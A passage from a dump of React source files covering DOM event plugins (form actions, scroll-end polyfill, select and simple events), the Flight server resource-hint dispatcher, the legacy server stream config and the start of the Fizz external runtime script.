    event.preventDefault();\n\n      // Dispatch the action and set a pending form status.\n      const formData = new FormData(form, submitter);\n      const pendingState: FormStatus = {\n        pending: true,\n        data: formData,\n        method: form.method,\n        action: action,\n      };\n      if (__DEV__) {\n        Object.freeze(pendingState);\n      }\n      startHostTransition(formInst, pendingState, action, formData);\n    } else {\n      // No earlier event prevented the default submission, and no action was\n      // provided. Exit without setting a pending form status.\n    }\n  }\n\n  dispatchQueue.push({\n    event,\n    listeners: [\n      {\n        instance: null,\n        listener: submitForm,\n        currentTarget: form,\n      },\n    ],\n  });\n}\n\nexport {extractEvents};\n\nexport function dispatchReplayedFormAction(\n  formInst: Fiber,\n  form: HTMLFormElement,\n  action: FormData => void | Promise<void>,\n  formData: FormData,\n): void {\n  const pendingState: FormStatus = {\n    pending: true,\n    data: formData,\n    method: form.method,\n    action: action,\n  };\n  if (__DEV__) {\n    Object.freeze(pendingState);\n  }\n  startHostTransition(formInst, pendingState, action, formData);\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/plugins/ScrollEndEventPlugin.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {AnyNativeEvent} from '../PluginModuleType';\nimport type {DOMEventName} from '../DOMEventNames';\nimport type {DispatchQueue} from '../DOMPluginEventSystem';\nimport type {EventSystemFlags} from '../EventSystemFlags';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {ReactSyntheticEvent} from '../ReactSyntheticEventType';\n\nimport {registerTwoPhaseEvent} from '../EventRegistry';\nimport {SyntheticUIEvent} from '../SyntheticEvent';\n\nimport {canUseDOM} from 'shared/ExecutionEnvironment';\nimport isEventSupported from '../isEventSupported';\n\nimport {IS_CAPTURE_PHASE} from '../EventSystemFlags';\n\nimport {batchedUpdates} from '../ReactDOMUpdateBatching';\nimport {\n  processDispatchQueue,\n  accumulateSinglePhaseListeners,\n  accumulateTwoPhaseListeners,\n} from '../DOMPluginEventSystem';\n\nimport {\n  getScrollEndTimer,\n  setScrollEndTimer,\n  clearScrollEndTimer,\n} from '../../client/ReactDOMComponentTree';\n\nimport {enableScrollEndPolyfill} from 'shared/ReactFeatureFlags';\n\nconst isScrollEndEventSupported =\n  enableScrollEndPolyfill && canUseDOM && isEventSupported('scrollend');\n\nlet isTouchStarted = false;\nlet isMouseDown = false;\n\nfunction registerEvents() {\n  registerTwoPhaseEvent('onScrollEnd', [\n    'scroll',\n    'scrollend',\n    'touchstart',\n    'touchcancel',\n    'touchend',\n    'mousedown',\n    'mouseup',\n  ]);\n}\n\nfunction manualDispatchScrollEndEvent(\n  inst: Fiber,\n  nativeEvent: AnyNativeEvent,\n  target: EventTarget,\n) {\n  const dispatchQueue: DispatchQueue = [];\n  const listeners = accumulateTwoPhaseListeners(inst, 'onScrollEnd');\n  if (listeners.length > 0) {\n    const event: ReactSyntheticEvent = new SyntheticUIEvent(\n      'onScrollEnd',\n      'scrollend',\n      null,\n      nativeEvent, // This will be the \"scroll\" event.\n      target,\n    );\n    dispatchQueue.push({event, listeners});\n  }\n  batchedUpdates(runEventInBatch, dispatchQueue);\n}\n\nfunction runEventInBatch(dispatchQueue: DispatchQueue) {\n  processDispatchQueue(dispatchQueue, 0);\n}\n\nfunction fireScrollEnd(\n  targetInst: Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: EventTarget,\n): void {\n  clearScrollEndTimer(nativeEventTarget);\n  if (isMouseDown || isTouchStarted) {\n    // If mouse or touch is down, try again later in case this is due to having an\n    // active scroll but it's not currently moving.\n    debounceScrollEnd(targetInst, nativeEvent, nativeEventTarget);\n    return;\n  }\n  manualDispatchScrollEndEvent(targetInst, nativeEvent, nativeEventTarget);\n}\n\n// When scrolling slows down the frequency of new scroll events can be quite low.\n// This timeout seems high enough to cover those cases but short enough to not\n// fire the event way too late.\nconst DEBOUNCE_TIMEOUT = 200;\n\nfunction debounceScrollEnd(\n  targetInst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: EventTarget,\n) {\n  const existingTimer = getScrollEndTimer(nativeEventTarget);\n  if (existingTimer != null) {\n    clearTimeout(existingTimer);\n  }\n  if (targetInst !== null) {\n    const newTimer = setTimeout(\n      fireScrollEnd.bind(null, targetInst, nativeEvent, nativeEventTarget),\n      DEBOUNCE_TIMEOUT,\n    );\n    setScrollEndTimer(nativeEventTarget, newTimer);\n  }\n}\n\n/**\n * This plugin creates an `onScrollEnd` event polyfill when the native one\n * is not available.\n */\nfunction extractEvents(\n  dispatchQueue: DispatchQueue,\n  domEventName: DOMEventName,\n  targetInst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: null | EventTarget,\n  eventSystemFlags: EventSystemFlags,\n  targetContainer: null | EventTarget,\n) {\n  if (!enableScrollEndPolyfill) {\n    return;\n  }\n\n  const inCapturePhase = (eventSystemFlags & IS_CAPTURE_PHASE) !== 0;\n\n  if (domEventName !== 'scrollend') {\n    if (!isScrollEndEventSupported && inCapturePhase) {\n      switch (domEventName) {\n        case 'scroll': {\n          if (nativeEventTarget !== null) {\n            debounceScrollEnd(targetInst, nativeEvent, nativeEventTarget);\n          }\n          break;\n        }\n        case 'touchstart': {\n          isTouchStarted = true;\n          break;\n        }\n        case 'touchcancel':\n        case 'touchend': {\n          // Note we cannot use pointer events for this because they get\n          // cancelled when native scrolling takes control.\n          isTouchStarted = false;\n          break;\n        }\n        case 'mousedown': {\n          isMouseDown = true;\n          break;\n        }\n        case 'mouseup': {\n          isMouseDown = false;\n          break;\n        }\n      }\n    }\n    return;\n  }\n\n  if (!isScrollEndEventSupported && nativeEventTarget !== null) {\n    const existingTimer = getScrollEndTimer(nativeEventTarget);\n    if (existingTimer != null) {\n      // If we do get a native scrollend event fired, we cancel the polyfill.\n      // This could happen if our feature detection is broken or if there's another\n      // polyfill calling dispatchEvent to fire it before we fire ours.\n      clearTimeout(existingTimer);\n      clearScrollEndTimer(nativeEventTarget);\n    } else {\n      // If we didn't receive a 'scroll' event first, we ignore this event to avoid\n      // double firing. Such as if we fired our onScrollEnd polyfill and then\n      // we also observed a native one afterwards.\n      return;\n    }\n  }\n\n  // In React onScrollEnd doesn't bubble.\n  const accumulateTargetOnly = !inCapturePhase;\n\n  const listeners = accumulateSinglePhaseListeners(\n    targetInst,\n    'onScrollEnd',\n    'scrollend',\n    inCapturePhase,\n    accumulateTargetOnly,\n    nativeEvent,\n  );\n\n  if (listeners.length > 0) {\n    // Intentionally create event lazily.\n    const event: ReactSyntheticEvent = new SyntheticUIEvent(\n      'onScrollEnd',\n      'scrollend',\n      null,\n      nativeEvent,\n      nativeEventTarget,\n    );\n    dispatchQueue.push({event, listeners});\n  }\n}\n\nexport {registerEvents, extractEvents};\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/plugins/SelectEventPlugin.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {AnyNativeEvent} from '../PluginModuleType';\nimport type {DOMEventName} from '../DOMEventNames';\nimport type {DispatchQueue} from '../DOMPluginEventSystem';\nimport type {EventSystemFlags} from '../EventSystemFlags';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {ReactSyntheticEvent} from '../ReactSyntheticEventType';\n\nimport {canUseDOM} from 'shared/ExecutionEnvironment';\nimport {SyntheticEvent} from '../../events/SyntheticEvent';\nimport isTextInputElement from '../isTextInputElement';\nimport shallowEqual from 'shared/shallowEqual';\n\nimport {registerTwoPhaseEvent} from '../EventRegistry';\nimport getActiveElement from '../../client/getActiveElement';\nimport {getNodeFromInstance} from '../../client/ReactDOMComponentTree';\nimport {hasSelectionCapabilities} from '../../client/ReactInputSelection';\nimport {DOCUMENT_NODE} from '../../client/HTMLNodeType';\nimport {accumulateTwoPhaseListeners} from '../DOMPluginEventSystem';\n\nconst skipSelectionChangeEvent =\n  canUseDOM && 'documentMode' in document && document.documentMode <= 11;\n\nfunction registerEvents() {\n  registerTwoPhaseEvent('onSelect', [\n    'focusout',\n    'contextmenu',\n    'dragend',\n    'focusin',\n    'keydown',\n    'keyup',\n    'mousedown',\n    'mouseup',\n    'selectionchange',\n  ]);\n}\n\nlet activeElement = null;\nlet activeElementInst = null;\nlet lastSelection = null;\nlet mouseDown = false;\n\n/**\n * Get an object which is a unique representation of the current selection.\n *\n * The return value will not be consistent across nodes or browsers, but\n * two identical selections on the same node will return identical objects.\n */\nfunction getSelection(node: any) {\n  if ('selectionStart' in node && hasSelectionCapabilities(node)) {\n    return {\n      start: node.selectionStart,\n      end: node.selectionEnd,\n    };\n  } else {\n    const win =\n      (node.ownerDocument && node.ownerDocument.defaultView) || window;\n    const selection = win.getSelection();\n    return {\n      anchorNode: selection.anchorNode,\n      anchorOffset: selection.anchorOffset,\n      focusNode: selection.focusNode,\n      focusOffset: selection.focusOffset,\n    };\n  }\n}\n\n/**\n * Get document associated with the event target.\n */\nfunction getEventTargetDocument(eventTarget: any) {\n  return eventTarget.window === eventTarget\n    ? eventTarget.document\n    : eventTarget.nodeType === DOCUMENT_NODE\n      ? eventTarget\n      : eventTarget.ownerDocument;\n}\n\n/**\n * Poll selection to see whether it's changed.\n *\n * @param {object} nativeEvent\n * @param {object} nativeEventTarget\n * @return {?SyntheticEvent}\n */\nfunction constructSelectEvent(\n  dispatchQueue: DispatchQueue,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: null | EventTarget,\n) {\n  // Ensure we have the right element, and that the user is not dragging a\n  // selection (this matches native `select` event behavior). In HTML5, select\n  // fires only on input and textarea thus if there's no focused element we\n  // won't dispatch.\n  const doc = getEventTargetDocument(nativeEventTarget);\n\n  if (\n    mouseDown ||\n    activeElement == null ||\n    activeElement !== getActiveElement(doc)\n  ) {\n    return;\n  }\n\n  // Only fire when selection has actually changed.\n  const currentSelection = getSelection(activeElement);\n  if (!lastSelection || !shallowEqual(lastSelection, currentSelection)) {\n    lastSelection = currentSelection;\n\n    const listeners = accumulateTwoPhaseListeners(\n      activeElementInst,\n      'onSelect',\n    );\n    if (listeners.length > 0) {\n      const event: ReactSyntheticEvent = new SyntheticEvent(\n        'onSelect',\n        'select',\n        null,\n        nativeEvent,\n        nativeEventTarget,\n      );\n      dispatchQueue.push({event, listeners});\n      event.target = activeElement;\n    }\n  }\n}\n\n/**\n * This plugin creates an `onSelect` event that normalizes select events\n * across form elements.\n *\n * Supported elements are:\n * - input (see `isTextInputElement`)\n * - textarea\n * - contentEditable\n *\n * This differs from native browser implementations in the following ways:\n * - Fires on contentEditable fields as well as inputs.\n * - Fires for collapsed selection.\n * - Fires after user input.\n */\nfunction extractEvents(\n  dispatchQueue: DispatchQueue,\n  domEventName: DOMEventName,\n  targetInst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: null | EventTarget,\n  eventSystemFlags: EventSystemFlags,\n  targetContainer: EventTarget,\n) {\n  const targetNode = targetInst ? getNodeFromInstance(targetInst) : window;\n\n  switch (domEventName) {\n    // Track the input node that has focus.\n    case 'focusin':\n      if (\n        isTextInputElement((targetNode: any)) ||\n        targetNode.contentEditable === 'true'\n      ) {\n        activeElement = targetNode;\n        activeElementInst = targetInst;\n        lastSelection = null;\n      }\n      break;\n    case 'focusout':\n      activeElement = null;\n      activeElementInst = null;\n      lastSelection = null;\n      break;\n    // Don't fire the event while the user is dragging. This matches the\n    // semantics of the native select event.\n    case 'mousedown':\n      mouseDown = true;\n      break;\n    case 'contextmenu':\n    case 'mouseup':\n    case 'dragend':\n      mouseDown = false;\n      constructSelectEvent(dispatchQueue, nativeEvent, nativeEventTarget);\n      break;\n    // Chrome and IE fire non-standard event when selection is changed (and\n    // sometimes when it hasn't). IE's event fires out of order with respect\n    // to key and input events on deletion, so we discard it.\n    //\n    // Firefox doesn't support selectionchange, so check selection status\n    // after each key entry. The selection changes after keydown and before\n    // keyup, but we check on keydown as well in the case of holding down a\n    // key, when multiple keydown events are fired but only one keyup is.\n    // This is also our approach for IE handling, for the reason above.\n    case 'selectionchange':\n      if (skipSelectionChangeEvent) {\n        break;\n      }\n    // falls through\n    case 'keydown':\n    case 'keyup':\n      constructSelectEvent(dispatchQueue, nativeEvent, nativeEventTarget);\n  }\n}\n\nexport {registerEvents, extractEvents};\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/plugins/SimpleEventPlugin.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {DOMEventName} from '../../events/DOMEventNames';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {AnyNativeEvent} from '../../events/PluginModuleType';\nimport type {DispatchQueue} from '../DOMPluginEventSystem';\nimport type {EventSystemFlags} from '../EventSystemFlags';\nimport type {ReactSyntheticEvent} from '../ReactSyntheticEventType';\n\nimport {\n  SyntheticEvent,\n  SyntheticKeyboardEvent,\n  SyntheticFocusEvent,\n  SyntheticMouseEvent,\n  SyntheticDragEvent,\n  SyntheticTouchEvent,\n  SyntheticAnimationEvent,\n  SyntheticTransitionEvent,\n  SyntheticUIEvent,\n  SyntheticWheelEvent,\n  SyntheticClipboardEvent,\n  SyntheticPointerEvent,\n  SyntheticSubmitEvent,\n  SyntheticToggleEvent,\n} from '../../events/SyntheticEvent';\n\nimport {\n  ANIMATION_END,\n  ANIMATION_ITERATION,\n  ANIMATION_START,\n  TRANSITION_END,\n} from '../DOMEventNames';\nimport {\n  topLevelEventsToReactNames,\n  registerSimpleEvents,\n} from '../DOMEventProperties';\nimport {\n  accumulateSinglePhaseListeners,\n  accumulateEventHandleNonManagedNodeListeners,\n} from '../DOMPluginEventSystem';\nimport {\n  IS_EVENT_HANDLE_NON_MANAGED_NODE,\n  IS_CAPTURE_PHASE,\n} from '../EventSystemFlags';\n\nimport getEventCharCode from '../getEventCharCode';\n\nimport {enableCreateEventHandleAPI} from 'shared/ReactFeatureFlags';\n\nfunction extractEvents(\n  dispatchQueue: DispatchQueue,\n  domEventName: DOMEventName,\n  targetInst: null | Fiber,\n  nativeEvent: AnyNativeEvent,\n  nativeEventTarget: null | EventTarget,\n  eventSystemFlags: EventSystemFlags,\n  targetContainer: EventTarget,\n): void {\n  const reactName = topLevelEventsToReactNames.get(domEventName);\n  if (reactName === undefined) {\n    return;\n  }\n  let SyntheticEventCtor = SyntheticEvent;\n  let reactEventType: string = domEventName;\n  switch (domEventName) {\n    case 'keypress':\n      // Firefox creates a keypress event for function keys too. This removes\n      // the unwanted keypress events. Enter is however both printable and\n      // non-printable. One would expect Tab to be as well (but it isn't).\n      // TODO: Fixed in https://bugzilla.mozilla.org/show_bug.cgi?id=968056. Can\n      // probably remove.\n      if (getEventCharCode(((nativeEvent: any): KeyboardEvent)) === 0) {\n        return;\n      }\n    /* falls through */\n    case 'keydown':\n    case 'keyup':\n      SyntheticEventCtor = SyntheticKeyboardEvent;\n      break;\n    case 'focusin':\n      reactEventType = 'focus';\n      SyntheticEventCtor = SyntheticFocusEvent;\n      break;\n    case 'focusout':\n      reactEventType = 'blur';\n      SyntheticEventCtor = SyntheticFocusEvent;\n      break;\n    case 'beforeblur':\n    case 'afterblur':\n      SyntheticEventCtor = SyntheticFocusEvent;\n      break;\n    case 'click':\n      // Firefox creates a click event on right mouse clicks. This removes the\n      // unwanted click events.\n      // TODO: Fixed in https://phabricator.services.mozilla.com/D26793. Can\n      // probably remove.\n      if (nativeEvent.button === 2) {\n        return;\n      }\n    /* falls through */\n    case 'auxclick':\n    case 'dblclick':\n    case 'mousedown':\n    case 'mousemove':\n    case 'mouseup':\n    // TODO: Disabled elements should not respond to mouse events\n    /* falls through */\n    case 'mouseout':\n    case 'mouseover':\n    case 'contextmenu':\n      SyntheticEventCtor = SyntheticMouseEvent;\n      break;\n    case 'drag':\n    case 'dragend':\n    case 'dragenter':\n    case 'dragexit':\n    case 'dragleave':\n    case 'dragover':\n    case 'dragstart':\n    case 'drop':\n      SyntheticEventCtor = SyntheticDragEvent;\n      break;\n    case 'touchcancel':\n    case 'touchend':\n    case 'touchmove':\n    case 'touchstart':\n      SyntheticEventCtor = SyntheticTouchEvent;\n      break;\n    case ANIMATION_END:\n    case ANIMATION_ITERATION:\n    case ANIMATION_START:\n      SyntheticEventCtor = SyntheticAnimationEvent;\n      break;\n    case TRANSITION_END:\n      SyntheticEventCtor = SyntheticTransitionEvent;\n      break;\n    case 'scroll':\n    case 'scrollend':\n      SyntheticEventCtor = SyntheticUIEvent;\n      break;\n    case 'wheel':\n      SyntheticEventCtor = SyntheticWheelEvent;\n      break;\n    case 'copy':\n    case 'cut':\n    case 'paste':\n      SyntheticEventCtor = SyntheticClipboardEvent;\n      break;\n    case 'gotpointercapture':\n    case 'lostpointercapture':\n    case 'pointercancel':\n    case 'pointerdown':\n    case 'pointermove':\n    case 'pointerout':\n    case 'pointerover':\n    case 'pointerup':\n      SyntheticEventCtor = SyntheticPointerEvent;\n      break;\n    case 'submit':\n      SyntheticEventCtor = SyntheticSubmitEvent;\n      break;\n    case 'toggle':\n    case 'beforetoggle':\n      // MDN claims <details> should not receive ToggleEvent contradicting the spec: https://html.spec.whatwg.org/multipage/indices.html#event-toggle\n      SyntheticEventCtor = SyntheticToggleEvent;\n      break;\n    default:\n      // Unknown event. This is used by createEventHandle.\n      break;\n  }\n\n  const inCapturePhase = (eventSystemFlags & IS_CAPTURE_PHASE) !== 0;\n  if (\n    enableCreateEventHandleAPI &&\n    eventSystemFlags & IS_EVENT_HANDLE_NON_MANAGED_NODE\n  ) {\n    const listeners = accumulateEventHandleNonManagedNodeListeners(\n      // TODO: this cast may not make sense for events like\n      // \"focus\" where React listens to e.g. \"focusin\".\n      ((reactEventType: any): DOMEventName),\n      targetContainer,\n      inCapturePhase,\n    );\n    if (listeners.length > 0) {\n      // Intentionally create event lazily.\n      const event: ReactSyntheticEvent = new SyntheticEventCtor(\n        reactName,\n        reactEventType,\n        null,\n        nativeEvent,\n        nativeEventTarget,\n      );\n      dispatchQueue.push({event, listeners});\n    }\n  } else {\n    // Some events don't bubble in the browser.\n    // In the past, React has always bubbled them, but this can be surprising.\n    // We're going to try aligning closer to the browser behavior by not bubbling\n    // them in React either. We'll start by not bubbling onScroll, and then expand.\n    const accumulateTargetOnly =\n      !inCapturePhase &&\n      // TODO: ideally, we'd eventually add all events from\n      // nonDelegatedEvents list in DOMPluginEventSystem.\n      // Then we can remove this special list.\n      // This is a breaking change that can wait until React 18.\n      (domEventName === 'scroll' || domEventName === 'scrollend');\n\n    const listeners = accumulateSinglePhaseListeners(\n      targetInst,\n      reactName,\n      nativeEvent.type,\n      inCapturePhase,\n      accumulateTargetOnly,\n      nativeEvent,\n    );\n    if (listeners.length > 0) {\n      // Intentionally create event lazily.\n      const event: ReactSyntheticEvent = new SyntheticEventCtor(\n        reactName,\n        reactEventType,\n        null,\n        nativeEvent,\n        nativeEventTarget,\n      );\n      dispatchQueue.push({event, listeners});\n    }\n  }\n}\n\nexport {registerSimpleEvents as registerEvents, extractEvents};\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  CrossOriginEnum,\n  PreloadImplOptions,\n  PreloadModuleImplOptions,\n  PreinitStyleOptions,\n  PreinitScriptOptions,\n  PreinitModuleScriptOptions,\n} from 'react-dom/src/shared/ReactDOMTypes';\n\nimport {\n  emitHint,\n  getHints,\n  resolveRequest,\n} from 'react-server/src/ReactFlightServer';\n\nimport ReactDOMSharedInternals from 'shared/ReactDOMSharedInternals';\n\nconst previousDispatcher =\n  ReactDOMSharedInternals.d; /* ReactDOMCurrentDispatcher */\nReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */ = {\n  f /* flushSyncWork */: previousDispatcher.f /* flushSyncWork */,\n  r /* requestFormReset */: previousDispatcher.r /* requestFormReset */,\n  D /* prefetchDNS */: prefetchDNS,\n  C /* preconnect */: preconnect,\n  L /* preload */: preload,\n  m /* preloadModule */: preloadModule,\n  X /* preinitScript */: preinitScript,\n  S /* preinitStyle */: preinitStyle,\n  M /* preinitModuleScript */: preinitModuleScript,\n};\n\nfunction prefetchDNS(href: string) {\n  if (typeof href === 'string' && href) {\n    const request = resolveRequest();\n    if (request) {\n      const hints = getHints(request);\n      const key = 'D|' + href;\n      if (hints.has(key)) {\n        // duplicate hint\n        return;\n      }\n      hints.add(key);\n      emitHint(request, 'D', href);\n    } else {\n      previousDispatcher.D(/* prefetchDNS */ href);\n    }\n  }\n}\n\nfunction preconnect(href: string, crossOrigin?: ?CrossOriginEnum) {\n  if (typeof href === 'string') {\n    const request = resolveRequest();\n    if (request) {\n      const hints = getHints(request);\n\n      const key = `C|${crossOrigin == null ? 'null' : crossOrigin}|${href}`;\n      if (hints.has(key)) {\n        // duplicate hint\n        return;\n      }\n      hints.add(key);\n      if (typeof crossOrigin === 'string') {\n        emitHint(request, 'C', [href, crossOrigin]);\n      } else {\n        emitHint(request, 'C', href);\n      }\n    } else {\n      previousDispatcher.C(/* preconnect */ href, crossOrigin);\n    }\n  }\n}\n\nexport function preload(\n  href: string,\n  as: string,\n  options?: ?PreloadImplOptions,\n) {\n  if (typeof href === 'string') {\n    const request = resolveRequest();\n    if (request) {\n      const hints = getHints(request);\n      let key = 'L';\n      if (as === 'image' && options) {\n        key += getImagePreloadKey(\n          href,\n          options.imageSrcSet,\n          options.imageSizes,\n        );\n      } else {\n        key += `[${as}]${href}`;\n      }\n      if (hints.has(key)) {\n        // duplicate hint\n        return;\n      }\n      hints.add(key);\n\n      const trimmed = trimOptions(options);\n      if (trimmed) {\n        emitHint(request, 'L', [href, as, trimmed]);\n      } else {\n        emitHint(request, 'L', [href, as]);\n      }\n    } else {\n      previousDispatcher.L(/* preload */ href, as, options);\n    }\n  }\n}\n\nexport function preloadModule(\n  href: string,\n  options?: ?PreloadModuleImplOptions,\n): void {\n  if (typeof href === 'string') {\n    const request = resolveRequest();\n    if (request) {\n      const hints = getHints(request);\n      const key = 'm|' + href;\n      if (hints.has(key)) {\n        // duplicate hint\n        return;\n      }\n      hints.add(key);\n\n      const trimmed = trimOptions(options);\n      if (trimmed) {\n        return emitHint(request, 'm', [href, trimmed]);\n      } else {\n        return emitHint(request, 'm', href);\n      }\n    } else {\n      previousDispatcher.m(/* preloadModule */ href, options);\n    }\n  }\n}\n\nfunction preinitStyle(\n  href: string,\n  precedence: ?string,\n  options?: ?PreinitStyleOptions,\n) {\n  if (typeof href === 'string') {\n    const request = resolveRequest();\n    if (request) {\n      const hints = getHints(request);\n      const key = 'S|' + href;\n      if (hints.has(key)) {\n        // duplicate hint\n        return;\n      }\n      hints.add(key);\n\n      const trimmed = trimOptions(options);\n      if (trimmed) {\n        return emitHint(request, 'S', [\n          href,\n          typeof precedence === 'string' ? precedence : 0,\n          trimmed,\n        ]);\n      } else if (typeof precedence === 'string') {\n        return emitHint(request, 'S', [href, precedence]);\n      } else {\n        return emitHint(request, 'S', href);\n      }\n    } else {\n      previousDispatcher.S(/* preinitStyle */ href, precedence, options);\n    }\n  }\n}\n\nfunction preinitScript(src: string, options?: ?PreinitScriptOptions) {\n  if (typeof src === 'string') {\n    const request = resolveRequest();\n    if (request) {\n      const hints = getHints(request);\n      const key = 'X|' + src;\n      if (hints.has(key)) {\n        // duplicate hint\n        return;\n      }\n      hints.add(key);\n\n      const trimmed = trimOptions(options);\n      if (trimmed) {\n        return emitHint(request, 'X', [src, trimmed]);\n      } else {\n        return emitHint(request, 'X', src);\n      }\n    } else {\n      previousDispatcher.X(/* preinitScript */ src, options);\n    }\n  }\n}\n\nfunction preinitModuleScript(\n  src: string,\n  options?: ?PreinitModuleScriptOptions,\n) {\n  if (typeof src === 'string') {\n    const request = resolveRequest();\n    if (request) {\n      const hints = getHints(request);\n      const key = 'M|' + src;\n      if (hints.has(key)) {\n        // duplicate hint\n        return;\n      }\n      hints.add(key);\n\n      const trimmed = trimOptions(options);\n      if (trimmed) {\n        return emitHint(request, 'M', [src, trimmed]);\n      } else {\n        return emitHint(request, 'M', src);\n      }\n    } else {\n      previousDispatcher.M(/* preinitModuleScript */ src, options);\n    }\n  }\n}\n\n// Flight normally encodes undefined as a special character however for directive option\n// arguments we don't want to send unnecessary keys and bloat the payload so we create a\n// trimmed object which omits any keys with null or undefined values.\n// This is only typesafe because these option objects have entirely optional fields where\n// null and undefined represent the same thing as no property.\nfunction trimOptions<\n  T:\n    | PreloadImplOptions\n    | PreloadModuleImplOptions\n    | PreinitStyleOptions\n    | PreinitScriptOptions\n    | PreinitModuleScriptOptions,\n>(options: ?T): ?T {\n  if (options == null) return null;\n  let hasProperties = false;\n  const trimmed: T = ({}: any);\n  for (const key in options) {\n    // $FlowFixMe[invalid-computed-prop]\n    if (options[key] != null) {\n      hasProperties = true;\n      (trimmed: any)[key] = options[key];\n    }\n  }\n  return hasProperties ? trimmed : null;\n}\n\nfunction getImagePreloadKey(\n  href: string,\n  imageSrcSet: ?string,\n  imageSizes: ?string,\n) {\n  let uniquePart = '';\n  if (typeof imageSrcSet === 'string' && imageSrcSet !== '') {\n    uniquePart += '[' + imageSrcSet + ']';\n    if (typeof imageSizes === 'string') {\n      uniquePart += '[' + imageSizes + ']';\n    }\n  } else {\n    uniquePart += '[][]' + href;\n  }\n  return `[image]${uniquePart}`;\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/ReactDOMLegacyServerStreamConfig.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport interface Destination {\n  push(chunk: string | null): boolean;\n  destroy(error: Error): mixed;\n}\n\nexport opaque type PrecomputedChunk = string;\nexport opaque type Chunk = string;\nexport opaque type BinaryChunk = string;\n\nexport function scheduleWork(callback: () => void) {\n  callback();\n}\n\nexport function scheduleMicrotask(callback: () => void) {\n  // While this defies the method name the legacy builds have special\n  // overrides that make work scheduling sync. At the moment scheduleMicrotask\n  // isn't used by any legacy APIs so this is somewhat academic but if they\n  // did in the future we'd probably want to have this be in sync with scheduleWork\n  callback();\n}\n\nexport function flushBuffered(destination: Destination) {}\n\nexport function beginWriting(destination: Destination) {}\n\nexport function writeChunk(\n  destination: Destination,\n  chunk: Chunk | PrecomputedChunk | BinaryChunk,\n): void {\n  writeChunkAndReturn(destination, chunk);\n}\n\nexport function writeChunkAndReturn(\n  destination: Destination,\n  chunk: Chunk | PrecomputedChunk | BinaryChunk,\n): boolean {\n  return destination.push(chunk);\n}\n\nexport function completeWriting(destination: Destination) {}\n\nexport function close(destination: Destination) {\n  destination.push(null);\n}\n\nexport function stringToChunk(content: string): Chunk {\n  return content;\n}\n\nexport function stringToPrecomputedChunk(content: string): PrecomputedChunk {\n  return content;\n}\n\nexport function typedArrayToBinaryChunk(\n  content: $ArrayBufferView,\n): BinaryChunk {\n  throw new Error('Not implemented.');\n}\n\nexport const byteLengthOfChunk:\n  | null\n  | ((chunk: Chunk | PrecomputedChunk) => number) = null;\n\nexport function byteLengthOfBinaryChunk(chunk: BinaryChunk): number {\n  throw new Error('Not implemented.');\n}\n\nexport function closeWithError(destination: Destination, error: mixed): void {\n  // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.\n  destination.destroy(error);\n}\n\nexport {createFastHashJS as createFastHash} from 'react-server/src/createFastHashJS';\n\nexport function readAsDataURL(blob: Blob): Promise<string> {\n  return blob.arrayBuffer().then(arrayBuffer => {\n    const encoded =\n      typeof Buffer === 'function' && typeof Buffer.from === 'function'\n        ? Buffer.from(arrayBuffer).toString('base64')\n        : btoa(String.fromCharCode.apply(String, new Uint8Array(arrayBuffer)));\n    const mimeType = blob.type || 'application/octet-stream';\n    return 'data:' + mimeType + ';base64,' + encoded;\n  });\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js",
    "content": "/**\n * This file is compiled to a standalone browser script by rollup and loaded by Fizz\n *  clients. Therefore, it should be fast and not have many external dependencies.\n * @flow\n */\n/* eslint-disable dot-notation */\n\n// Imports are resolved statically by the closure compiler in release bundles\n// and by rollup in jest unit tests\nimport './fizz-instruction-set/ReactDOMFizzInstructionSetExternalRuntime';\n\nif (document.body != null) {\n  if (document.readyState === 'loading') {\n    installFizzInstrObserver(document.body);\n  }\n  // $FlowFixMe[incompatible-cast]\n  handleExistingNodes((document.body: HTMLElement));\n} else {\n  // Document must be loading -- body may not exist yet if the fizz external\n  // runtime is sent in <head> (e.g. as a preinit resource)\n  // $FlowFixMe[recursive-definition]\n  const domBodyObserver = new MutationObserver(() => {\n    // We expect the body node to be stable once parsed / created\n    if (document.body != null) {\n      if (document.readyState === 'loading') {\n        installFizzInstrObserver(document.body);\n      }\n      // $FlowFixMe[incompatible-cast]\n      handleExistingNodes((document.body: HTMLElement));\n\n      // We can call disconnect without takeRecord here,\n      // since we only expect a single document.body\n      domBodyObserver.disconnect();\n    }\n  });\n  // documentElement must already exist at this point\n  domBodyObserver.observe(document.documentElement, {childList: true});\n}\n\nfunction handleExistingNodes(target: HTMLElement) {\n  const existingNodes = target.querySelectorAll('template');\n  for (let i = 0; i < existingNodes.length; i++) {\n    handleNode(existingNodes[i]);\n  }\n}\n\nfunction 